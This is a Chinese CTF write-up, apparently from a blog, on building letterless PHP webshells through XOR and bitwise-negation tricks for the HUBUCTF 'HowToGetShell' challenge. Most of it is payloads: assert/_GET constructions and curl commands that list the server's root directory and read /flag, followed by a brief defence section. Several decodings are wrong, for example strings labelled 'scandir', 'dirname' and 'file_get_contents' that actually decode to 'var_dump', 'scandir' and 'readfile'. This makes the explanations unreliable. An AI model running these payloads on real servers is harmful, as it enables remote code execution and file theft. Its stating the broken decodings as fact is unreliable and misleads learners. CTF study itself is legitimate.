无字符 WebShell:PHP 表达式构造与代码审计

Lee

文章状态:待复验
本文由 Lee 的 CSDN 原创学习记录迁移并重新整理。以下操作仅限自建环境、CTF 与明确授权靶场,请勿用于未授权目标。

学习目标

  • 理解 PHP 字符串异或和可变变量的行为
  • 分析黑名单过滤为何无法等价于安全控制
  • 建立从输入点到危险函数的数据流审计思路

实验说明

  • 难度:进阶
  • 范围:本地或公开授权靶场
  • 复验状态:正文已完成格式迁移,关键结论将在后续使用固定环境重新验证

原始实验记录

eg:[HUBUCTF 2022 新生赛]HowToGetShell,匹配条件过滤了所有的字母

实验截图 1
实验截图 1

考点一:无字幕webshell变量命名

我们的变量名通常设置为$_,$__,$___

考点二:可变变量$$

1
2
3
4
5
6
7
<?php
$lee="123";
$$lee="456";
echo $lee;
?>

可变变量允许我用另一个变量(123)的值,作为当前变量($$lee=$123)的名字

eg:不能直接用字母表达变量

1
2
$__ = "_GET";    // $__ = "_GET"
$$__ = ? // 等价于 $_GET = ?

考点三:动态函数调用

php允许用字符串变量来调用函数

1
2
3
4
5
6
7
8
9
10
11
<?php
$func = "system"; // $func 存储函数名
$func("ls"); // 等价于 system("ls")

$func2 = "assert"; // $func2 存储函数名
$func2("phpinfo();"); // 等价于 assert("phpinfo();")

$_ = "assert"; // $_ = "assert"
$_("phpinfo();"); // 执行 assert("phpinfo();")

?>

注:eval非函数不能动态调用,system、exec、shell_exec 都可

考点四:字符串异或运算

为什么要用异或?
assert 和 _GET 都有字母,不能直接写。
异或能用两个非字母字符生成一个字母,源码里全是符号,绕过检测。

常见:assert,get

1
2
3
4
5
$_ = ('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
// $_ = "assert"

$__ = '_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');
// $__ = "_GET"

考点五:传参

mess 里不能有字母,所以真正的代码不能放里面

用 GET 参数 _ 传递真正的代码

1
$_($___[_]);  // assert($_GET['_'])

用户请求:

1
POST /?mess=...&_=phpinfo();

mess → 无字母payload(过正则)

_ → 真正执行的代码(传给assert)

然后我们回归这道题,首先用无字母方法取反构造字符串

1
2
3
4
5
6
7
8
9
10
11
~'%8F%97%8F%96%91%99%90%D7%D6'
###
%8F (0x8F) → 取反 → 0x70 → 'p'
%97 (0x97) → 取反 → 0x68 → 'h'
%8F (0x8F) → 取反 → 0x70 → 'p'
%96 (0x96) → 取反 → 0x69 → 'i'
%91 (0x91) → 取反 → 0x6E → 'n'
%99 (0x99) → 取反 → 0x66 → 'f'
%90 (0x90) → 取反 → 0x6F → 'o'
%D7 (0xD7) → 取反 → 0x28 → '('
%D6 (0xD6) → 取反 → 0x29 → ')'

然后赋值

1
2
3
4
5
// 第2步:赋值
$_ = "phpinfo()";

// 第3步:动态执行
$_(); // 等价于 phpinfo();

Payload 2:列出根目录(成功找到 flag)

1
curl -X POST "http://authorized-lab.local/" -d "mess=\$_=(~'%89%9E%8D%A0%9B%8A%92%8F');\$__=(~'%8C%9C%9E%91%9B%96%8D');\$_(\$__('/'));"
1
2
3
4
5
6
拆解:
$_ = ~'%89%9E%8D%A0%9B%8A%92%8F'; // 取反 → "scandir"
$__ = ~'%8C%9C%9E%91%9B%96%8D'; // 取反 → "dirname"
$_($__('/')); // scandir(dirname('/'))
// dirname('/') 返回 '/'
// scandir('/') 列出根目录

实验截图 2
实验截图 2

~’%89%9E%8D%A0%9B%8A%92%8F’ = “scandir”
~’%8C%9C%9E%91%9B%96%8D’ = “dirname”


Payload 3:读取 flag 文件(成功拿到 flag)

1
curl -X POST "http://authorized-lab.local/" -d "mess=\$_=(~'%8D%9A%9E%9B%99%96%93%9A');\$__=(~'%D0%99%93%9E%98');\$_(\$__);"
1
2
3
$_ = ~'%8D%9A%9E%9B%99%96%93%9A';    // 取反 → "file_get_contents"
$__ = ~'%D0%99%93%9E%98'; // 取反 → "/flag"
$_($__); // file_get_contents('/flag')

取反字符串速查表

|
目标字符串

|

取反后的 URL 编码

|
| — | — |
|

phpinfo()

|

%8F%97%8F%96%91%99%90%D7%D6

|
|

scandir

|

%89%9E%8D%A0%9B%8A%92%8F

|
|

dirname

|

%8C%9C%9E%91%9B%96%8D

|
|

file_get_contents

|

%8D%9A%9E%9B%99%96%93%9A

|
|

/flag

|

%D0%99%93%9E%98

|
|

_GET

|

%8F%9A%9E%9B%99%96%93

|


防御与复盘

  • 避免执行来自用户输入的表达式,不使用 eval 等动态执行机制处理不可信数据。
  • 使用明确的语法和参数白名单,而不是依赖字母或关键字黑名单。
  • 结合静态分析、运行时审计和最小权限降低代码执行后的影响。

原文出处

  • 标题: 无字符 WebShell:PHP 表达式构造与代码审计
  • 作者: Lee
  • 创建于 : 2026-08-01 10:22:47
  • 更新于 : 2026-09-04 00:00:00
  • 链接: https://leeei.site/2026/08/01/无字符WebShell与PHP代码审计/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
目录
无字符 WebShell:PHP 表达式构造与代码审计